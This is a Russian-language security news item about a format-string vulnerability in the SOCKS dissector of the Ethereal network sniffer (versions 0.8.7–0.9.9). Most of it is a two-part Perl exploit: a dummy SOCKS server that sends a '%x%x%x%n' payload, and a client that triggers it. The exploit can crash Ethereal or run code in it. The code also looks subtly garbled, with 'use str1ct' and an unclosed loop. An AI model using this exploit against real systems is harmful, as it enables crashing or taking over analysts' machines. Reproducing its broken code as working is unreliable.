Две уязвимости обнаружено в сетевом сниффере Ethereal. Удаленный пользователь может аварийно завершить работу сниффера или выполнить произвольный код. 

Georgi Guninski обнаружил уязвимость форматной строки в
packet-socks.c в proto_tree_add_text() функции. Данные, переданные пользователем к format_text() функции не проверяются на наличие спецификаций формата. 

Удаленный пользователь может создать специально обработанный SOCKS пакет и послать его через сеть, которая контролируется Ethereal, чтобы завершить процесс или выполнить произвольный код. 

Эксплоит:

#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;
use str1ct;
#local port
my $port = 1080;

#redirect to

my $msg="\x05\x00";
my $repl="\x05\x00\x00\x00\x02aa";

my $pi="m\$sux\%x\%x\%x\%n";

my $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, 
Reuse => 1, Listen => 2)
or die "Couldn't create tcp-server.\n";

print "Dummy socks server for ethereal\nListening on localhost:${port}\n";

my $client;
while ($client = $server->accept()) {
print "Client connected.\n";
print "Sending...";
sleep(1);
# while(<$client>) {print $_;}
print $client "$msg";
print "OK\n";
sleep(1);
print $client "$repl";
sleep(1);
print $client "$pi";
close($client);
exit(0);

----sockcl.pl------------
#!/usr/bin/perl -w
# Written by Georgi Guninski
use IO::Socket;
use str1ct;
my $host= $ARGV[0] || "localhost";
my $port=1080;

print "host=${host}\n";

my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => 
"TCP") || die("Unable to connect");

print "Start\n";

my $logcmd="\x05\x00\x00";
my $pingcmd="\x05\x80\x00\x01\x01\x01\x01\x01\x01\x01";

print $socket $logcmd;
my $x;
sysread($socket,$x,2);
#sleep(1);
print $socket $pingcmd;
sleep(5);

print "Done\n";

Уязвимость обнаружена в Ethereal 0.8.7 - 0.9.9.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии